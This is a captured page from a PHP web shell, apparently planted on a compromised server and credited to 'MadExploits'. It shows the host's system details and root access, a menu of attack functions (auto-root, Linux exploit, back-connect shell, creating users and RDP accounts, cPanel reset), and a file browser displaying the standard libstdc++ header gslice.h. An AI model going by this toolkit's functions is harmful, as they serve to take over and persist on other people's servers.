Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.21.217
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
include /
c++ /
14 /
bits /
[ HOME SHELL ]
Name
Size
Permission
Action
algorithmfwd.h
24.05
KB
-rw-r--r--
align.h
3.62
KB
-rw-r--r--
alloc_traits.h
31.4
KB
-rw-r--r--
allocated_ptr.h
3.25
KB
-rw-r--r--
allocator.h
8.61
KB
-rw-r--r--
atomic_base.h
60.9
KB
-rw-r--r--
atomic_futex.h
12.19
KB
-rw-r--r--
atomic_lockfree_defines.h
2.3
KB
-rw-r--r--
atomic_timed_wait.h
13.18
KB
-rw-r--r--
atomic_wait.h
12.33
KB
-rw-r--r--
basic_ios.h
15.85
KB
-rw-r--r--
basic_ios.tcc
5.67
KB
-rw-r--r--
basic_string.h
161.58
KB
-rw-r--r--
basic_string.tcc
30.7
KB
-rw-r--r--
boost_concept_check.h
29.13
KB
-rw-r--r--
c++0x_warning.h
1.44
KB
-rw-r--r--
char_traits.h
28.54
KB
-rw-r--r--
charconv.h
3.58
KB
-rw-r--r--
chrono.h
47.09
KB
-rw-r--r--
chrono_io.h
126.98
KB
-rw-r--r--
codecvt.h
24.9
KB
-rw-r--r--
concept_check.h
3.32
KB
-rw-r--r--
cow_string.h
134.11
KB
-rw-r--r--
cpp_type_traits.h
14.54
KB
-rw-r--r--
cxxabi_forced.h
1.77
KB
-rw-r--r--
cxxabi_init_exception.h
2.17
KB
-rw-r--r--
deque.tcc
41.43
KB
-rw-r--r--
elements_of.h
2.13
KB
-rw-r--r--
enable_special_members.h
12.16
KB
-rw-r--r--
erase_if.h
2.08
KB
-rw-r--r--
exception.h
2.41
KB
-rw-r--r--
exception_defines.h
1.61
KB
-rw-r--r--
exception_ptr.h
8.02
KB
-rw-r--r--
forward_list.h
50
KB
-rw-r--r--
forward_list.tcc
13.71
KB
-rw-r--r--
fs_dir.h
17.94
KB
-rw-r--r--
fs_fwd.h
10.91
KB
-rw-r--r--
fs_ops.h
10.49
KB
-rw-r--r--
fs_path.h
41.47
KB
-rw-r--r--
fstream.tcc
32.64
KB
-rw-r--r--
functexcept.h
4.17
KB
-rw-r--r--
functional_hash.h
8.79
KB
-rw-r--r--
gslice.h
5.52
KB
-rw-r--r--
gslice_array.h
7.71
KB
-rw-r--r--
hash_bytes.h
2.1
KB
-rw-r--r--
hashtable.h
88.15
KB
-rw-r--r--
hashtable_policy.h
64.73
KB
-rw-r--r--
indirect_array.h
7.72
KB
-rw-r--r--
invoke.h
6.08
KB
-rw-r--r--
ios_base.h
32.29
KB
-rw-r--r--
istream.tcc
32.16
KB
-rw-r--r--
iterator_concepts.h
34.38
KB
-rw-r--r--
list.tcc
17.63
KB
-rw-r--r--
locale_classes.h
25.15
KB
-rw-r--r--
locale_classes.tcc
10.76
KB
-rw-r--r--
locale_conv.h
18.74
KB
-rw-r--r--
locale_facets.h
92.12
KB
-rw-r--r--
locale_facets.tcc
40.61
KB
-rw-r--r--
locale_facets_nonio.h
69.1
KB
-rw-r--r--
locale_facets_nonio.tcc
55.86
KB
-rw-r--r--
localefwd.h
5.8
KB
-rw-r--r--
mask_array.h
7.77
KB
-rw-r--r--
max_size_type.h
22
KB
-rw-r--r--
memory_resource.h
15.8
KB
-rw-r--r--
memoryfwd.h
2.5
KB
-rw-r--r--
mofunc_impl.h
7.45
KB
-rw-r--r--
move.h
7.62
KB
-rw-r--r--
move_only_function.h
6.15
KB
-rw-r--r--
nested_exception.h
7.51
KB
-rw-r--r--
new_allocator.h
7.31
KB
-rw-r--r--
node_handle.h
11.1
KB
-rw-r--r--
ostream.tcc
12.02
KB
-rw-r--r--
ostream_insert.h
3.98
KB
-rw-r--r--
out_ptr.h
14.14
KB
-rw-r--r--
parse_numbers.h
7.8
KB
-rw-r--r--
postypes.h
7.33
KB
-rw-r--r--
predefined_ops.h
9.94
KB
-rw-r--r--
ptr_traits.h
8.05
KB
-rw-r--r--
quoted_string.h
5.01
KB
-rw-r--r--
random.h
181.57
KB
-rw-r--r--
random.tcc
103.49
KB
-rw-r--r--
range_access.h
11.66
KB
-rw-r--r--
ranges_algo.h
129.22
KB
-rw-r--r--
ranges_algobase.h
18.63
KB
-rw-r--r--
ranges_base.h
28.99
KB
-rw-r--r--
ranges_cmp.h
5.74
KB
-rw-r--r--
ranges_uninitialized.h
17.71
KB
-rw-r--r--
ranges_util.h
25.84
KB
-rw-r--r--
refwrap.h
15.05
KB
-rw-r--r--
regex.h
104.49
KB
-rw-r--r--
regex.tcc
16.1
KB
-rw-r--r--
regex_automaton.h
10.55
KB
-rw-r--r--
regex_automaton.tcc
7.6
KB
-rw-r--r--
regex_compiler.h
15.92
KB
-rw-r--r--
regex_compiler.tcc
18.48
KB
-rw-r--r--
regex_constants.h
14.77
KB
-rw-r--r--
regex_error.h
5.35
KB
-rw-r--r--
regex_executor.h
8.81
KB
-rw-r--r--
regex_executor.tcc
18.49
KB
-rw-r--r--
regex_scanner.h
6.88
KB
-rw-r--r--
regex_scanner.tcc
14.59
KB
-rw-r--r--
requires_hosted.h
1.36
KB
-rw-r--r--
sat_arith.h
4.64
KB
-rw-r--r--
semaphore_base.h
7.7
KB
-rw-r--r--
shared_ptr.h
38.26
KB
-rw-r--r--
shared_ptr_atomic.h
24.12
KB
-rw-r--r--
shared_ptr_base.h
65.58
KB
-rw-r--r--
slice_array.h
9.39
KB
-rw-r--r--
specfun.h
46.09
KB
-rw-r--r--
sstream.tcc
9.91
KB
-rw-r--r--
std_abs.h
4.63
KB
-rw-r--r--
std_function.h
23.35
KB
-rw-r--r--
std_mutex.h
6.73
KB
-rw-r--r--
std_thread.h
10.02
KB
-rw-r--r--
stl_algo.h
210.46
KB
-rw-r--r--
stl_algobase.h
79.62
KB
-rw-r--r--
stl_bvector.h
41.68
KB
-rw-r--r--
stl_construct.h
8.61
KB
-rw-r--r--
stl_deque.h
76.46
KB
-rw-r--r--
stl_function.h
44.2
KB
-rw-r--r--
stl_heap.h
20.38
KB
-rw-r--r--
stl_iterator.h
93.68
KB
-rw-r--r--
stl_iterator_base_funcs.h
8.75
KB
-rw-r--r--
stl_iterator_base_types.h
9.48
KB
-rw-r--r--
stl_list.h
70.78
KB
-rw-r--r--
stl_map.h
54.84
KB
-rw-r--r--
stl_multimap.h
42.71
KB
-rw-r--r--
stl_multiset.h
36.87
KB
-rw-r--r--
stl_numeric.h
14.25
KB
-rw-r--r--
stl_pair.h
43.42
KB
-rw-r--r--
stl_queue.h
28.04
KB
-rw-r--r--
stl_raw_storage_iter.h
3.91
KB
-rw-r--r--
stl_relops.h
4.47
KB
-rw-r--r--
stl_set.h
37.13
KB
-rw-r--r--
stl_stack.h
13.7
KB
-rw-r--r--
stl_tempbuf.h
10.17
KB
-rw-r--r--
stl_tree.h
72.02
KB
-rw-r--r--
stl_uninitialized.h
35.65
KB
-rw-r--r--
stl_vector.h
69.15
KB
-rw-r--r--
stream_iterator.h
8.2
KB
-rw-r--r--
streambuf.tcc
4.58
KB
-rw-r--r--
streambuf_iterator.h
15.57
KB
-rw-r--r--
string_view.tcc
7
KB
-rw-r--r--
stringfwd.h
2.56
KB
-rw-r--r--
text_encoding-data.h
24.3
KB
-rw-r--r--
this_thread_sleep.h
3.21
KB
-rw-r--r--
unicode-data.h
25.4
KB
-rw-r--r--
unicode.h
29.66
KB
-rw-r--r--
uniform_int_dist.h
13
KB
-rw-r--r--
unique_lock.h
6.32
KB
-rw-r--r--
unique_ptr.h
35.96
KB
-rw-r--r--
unordered_map.h
75.45
KB
-rw-r--r--
unordered_set.h
61.91
KB
-rw-r--r--
uses_allocator.h
6.91
KB
-rw-r--r--
uses_allocator_args.h
8.52
KB
-rw-r--r--
utility.h
8.55
KB
-rw-r--r--
valarray_after.h
22.74
KB
-rw-r--r--
valarray_array.h
20.8
KB
-rw-r--r--
valarray_array.tcc
7.08
KB
-rw-r--r--
valarray_before.h
18.69
KB
-rw-r--r--
vector.tcc
37.12
KB
-rw-r--r--
version.h
79.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gslice.h
// The template and inlines for the -*- C++ -*- gslice class. // Copyright (C) 1997-2024 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /** @file bits/gslice.h * This is an internal header file, included by other library headers. * Do not attempt to use it directly. @headername{valarray} */ // Written by Gabriel Dos Reis <Gabriel.Dos-Reis@DPTMaths.ENS-Cachan.Fr> #ifndef _GSLICE_H #define _GSLICE_H 1 #pragma GCC system_header namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION /** * @addtogroup numeric_arrays * @{ */ /** * @brief Class defining multi-dimensional subset of an array. * * The slice class represents a multi-dimensional subset of an array, * specified by three parameter sets: start offset, size array, and stride * array. The start offset is the index of the first element of the array * that is part of the subset. The size and stride array describe each * dimension of the slice. Size is the number of elements in that * dimension, and stride is the distance in the array between successive * elements in that dimension. Each dimension's size and stride is taken * to begin at an array element described by the previous dimension. The * size array and stride array must be the same size. * * For example, if you have offset==3, stride[0]==11, size[1]==3, * stride[1]==3, then slice[0,0]==array[3], slice[0,1]==array[6], * slice[0,2]==array[9], slice[1,0]==array[14], slice[1,1]==array[17], * slice[1,2]==array[20]. */ class gslice { public: /// Construct an empty slice. gslice(); /** * @brief Construct a slice. * * Constructs a slice with as many dimensions as the length of the @a l * and @a s arrays. * * @param __o Offset in array of first element. * @param __l Array of dimension lengths. * @param __s Array of dimension strides between array elements. */ gslice(size_t __o, const valarray<size_t>& __l, const valarray<size_t>& __s); // XXX: the IS says the copy-ctor and copy-assignment operators are // synthesized by the compiler but they are just unsuitable // for a ref-counted semantic /// Copy constructor. gslice(const gslice&); /// Destructor. ~gslice(); // XXX: See the note above. /// Assignment operator. gslice& operator=(const gslice&); /// Return array offset of first slice element. size_t start() const; /// Return array of sizes of slice dimensions. valarray<size_t> size() const; /// Return array of array strides for each dimension. valarray<size_t> stride() const; private: struct _Indexer { size_t _M_count; size_t _M_start; valarray<size_t> _M_size; valarray<size_t> _M_stride; valarray<size_t> _M_index; // Linear array of referenced indices _Indexer() : _M_count(1), _M_start(0), _M_size(), _M_stride(), _M_index() {} _Indexer(size_t, const valarray<size_t>&, const valarray<size_t>&); void _M_increment_use() { ++_M_count; } size_t _M_decrement_use() { return --_M_count; } }; _Indexer* _M_index; template<typename _Tp> friend class valarray; }; inline size_t gslice::start() const { return _M_index ? _M_index->_M_start : 0; } inline valarray<size_t> gslice::size() const { return _M_index ? _M_index->_M_size : valarray<size_t>(); } inline valarray<size_t> gslice::stride() const { return _M_index ? _M_index->_M_stride : valarray<size_t>(); } // _GLIBCXX_RESOLVE_LIB_DEFECTS // 543. valarray slice default constructor inline gslice::gslice() : _M_index(new gslice::_Indexer()) {} inline gslice::gslice(size_t __o, const valarray<size_t>& __l, const valarray<size_t>& __s) : _M_index(new gslice::_Indexer(__o, __l, __s)) {} inline gslice::gslice(const gslice& __g) : _M_index(__g._M_index) { if (_M_index) _M_index->_M_increment_use(); } inline gslice::~gslice() { if (_M_index && _M_index->_M_decrement_use() == 0) delete _M_index; } inline gslice& gslice::operator=(const gslice& __g) { // Safe for self-assignment. Checking for it would add overhead just to // optimize a case that should never happen anyway. if (__g._M_index) __g._M_index->_M_increment_use(); if (_M_index && _M_index->_M_decrement_use() == 0) delete _M_index; _M_index = __g._M_index; return *this; } /// @} group numeric_arrays _GLIBCXX_END_NAMESPACE_VERSION } // namespace #endif /* _GSLICE_H */
Close